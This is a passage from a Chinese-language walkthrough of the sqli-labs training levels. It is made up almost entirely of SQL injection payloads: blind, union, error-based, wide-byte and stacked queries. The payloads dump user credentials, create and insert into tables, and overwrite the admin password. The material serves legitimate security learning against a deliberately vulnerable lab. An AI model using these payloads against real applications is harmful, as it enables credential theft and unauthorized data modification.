?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>30--+ #判断所有表名字符长度。29出现变化,说明有29个字符
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+ #得到所有表名
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ #逐一判断字段名
?id=1' and length((select group_concat(username,password) from users))>109--+ #判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ #逐一检测内容。
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>30,sleep(5),1)--+ #判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+ #逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+ #判断所有字段名的长度 ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ #逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ #判断字段内容长度 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ #逐一检测内容。
Less-10
1 2 3 4 5
?id=1' and if(1=1,sleep(5),1)--+ #立即反应了,说明不是单引号字符型注入 ?id=1" and if(1=1,sleep(5),1)--+ #最后得到是双引号字符型注入。 之后的步骤和上题差不多了,把单引号变成双引号。
1' union select 1,2 # 1' union select database(),version() # 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 1' union select 1,group_concat(id,username,password ) from users #
利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
当count(*)和group by x同时执行时,就会爆出duplicate entry错误
eg:payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
判断是否存在报错注入 id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
爆出当前数据库名 id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
爆出表 id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#
爆出字段名 id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
爆出user和password id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
Less-13
1.输入1\,得到闭合符是’),单引号字符型注入
2.输入恒成立等式
1
1') or 1=1 #
但是页面没有回显,所以我们可以使用报错注入
1.爆库
1
1') union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))#
2.爆表名
1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
3.爆字段名
1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e))#
4.查询字段
1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))#
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)# ---MySQL 不允许在 UPDATE/DELETE 的子查询里直接引用正在操作的表,所以不能用这条语句。 1' and updatexml(1,concat(0x7e,(select * from (select group_concat(concat_ws('~',username,password)) from security.users) a),0x7e),1)#
concat_ws:带分隔符连接 concat:直接连接
1’ and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from security.users),32,31),0x7e),1)#
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1) or'
' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'
uname=admin%df' order by 2--+&passwd=1&submit=Submit
uname=admin%df' union select 1,2--+&passwd=1&submit=Submit
uname=admin%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+&passwd=1&submit=Submit
uname=admin%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+&passwd=1&submit=Submit
uname=admin%df'union select 1,group_concat(id,username,password) from users--+&passwd=1&submit=Submit
Less-35
1.这关没有闭合符,数字型注入
2.虽然这关引号被转义了,打算这关不用宽字节
1 2 3 4 5 6 7 8 9 10 11
?id=-1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
?id=-1 union select 1,2,group_concat(id,username,password) from users
Less-36
1.闭合符是单引号
2.需要用宽字节,payload差不多
1 2 3 4 5 6 7 8 9 10 11
?id=-1%df'order by 3--+
?id=-1%df' union select 1,2,3--+
?id=-1%df' union select 1,2,database()--+
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
?id=-1%df' union select 1,2,group_concat(id,username,password) from users--+
Less-37
1.这题和34题一样啊,闭合符是单引号
2.payload看34
Less-38 堆叠注入
1.闭合符是单引号
2.然后一个无绕过的联合注入payload就可以直接出
但是这关的知识点是堆叠注入哈
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
源码
3.输入测试语句,新建一个表test
1
?id=1' ;create table test like users --+
然后我们可以在后台看见
Less-39
1.这关没有闭合符,和38题差不多,我们给表test输入些内容
2.输入测试语句
1 2 3
?id=1 ; insert into test (id,username,password)values ('11','aaa','123') --+
Less-40
1.闭合符是’)
2.跟38题差不多
2.输入测试语句
1 2 3
?id=1') ; insert into test (id,username,password)values ('22','bbb','456') --+
Less-41
1.没有闭合符,和上面几题都差不多。
Less-42
1.页面非常像二次注入的那关,但是发现注册不了
2.尝试输入一些语句,发现password的输入框有注入点。
3.闭合符是单引号
4.列数和回显位
1 2
666' order by 3# 666' union select 1,2,3#
5,爆库
1
666' union select 1,database(),3#
爆表名
联合注入不行,用报错注入,有回显
1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),3#
爆字段名
1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e)),3#
读字段
1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)),3#
6.更简单的是直接使用堆叠注入修改密码
1 2
666'; update users set password='123' where username='admin' #
直接登入就好了
Less-43
1.闭合符是’)
2.payload和上题差不多,闭合符换一下
Less-44
1.这关没有报错,我们直接用堆叠注入
2.闭合符是单引号
1
666'or 1=1 #
3.爆库
1
666' union select 1,database(),3#
4.修改密码
1
666'; update users set password='hhh' where username='admin' #
?sort=1' and if(length(database())=8),1,sleep(1))--+
?sort=1' and if(ascii(substr((select database()),1,1))=115,1,sleep(1))--+
?sort=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=34,1,sleep(1))--+
…………
Less-50
1.数字型注入
1 2
?sort=rand() 顺序改变
2.和46一样的报错注入payload
也可以堆叠注入,盲注
1 2 3
?sort=1 ; insert into test (id,username,password)values ('33','ccc','789') --+
Less-51
1.单引号字符型注入
2.这关,报错,盲注,堆叠都能用
Less-52
1.数字型注入
2.这关没有报错,用盲注或者堆叠
Less-53
1.单引号字符型注入
2.这关时间盲注都没有反应。用堆叠注入
challenges
Less-54
咳咳,第一次尝试失败,指令打错了几次,呜呜呜
第二次
1
?id=1' --+
1 2
?id=1' order by 3--+ ?id=-1' union select 1,2,3--+
1 2 3 4 5 6 7 8
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='hfgzxyeenu'--+
?id=-1' union select 1,2,group_concat(id,sessid,secret_YLEG,tryy ) from hfgzxyeenu--+
Less-55
这关以闭合。和54差不多,单引号变成(
1
?id=1)--+
Less-56
1.闭合符是’)
1
?id=1')--+
2.payload和54差不多
Less-57
1.闭合符是双引号
1
?id=1"--+
payload和54差不多
Less-58
1.闭合符是单引号
1
?id=1'--+
2.联合注入用不了,试试报错注入
payload
1 2 3 4 5
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='auvv95rynx'),0x7e))--+
Less-59
1.没有闭合符
payload和58差不多
Less-60
1.闭合符是”)
1
?id=1")--+
2.payload与58差不多
Less-61
1.闭合符是’))
1
?id=1'))--+
2.payload与58差不多
Less-62
1.闭合符是’)
1
?id=1')--+
2.这关没有报错,试试盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14
爆数据库名长度 ?id=1') and length((select database()))=10--+
爆数据库名 ?id=1') and ascii(substr((select database()),1,1))=99
爆表名长度 ?id=1') and length((select group_concat(table_name) from information_schema.tables where table_schema='challenges'))=10--+
爆表名 ?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),2,1))=53--+ 说明表名第一个字符是5 …………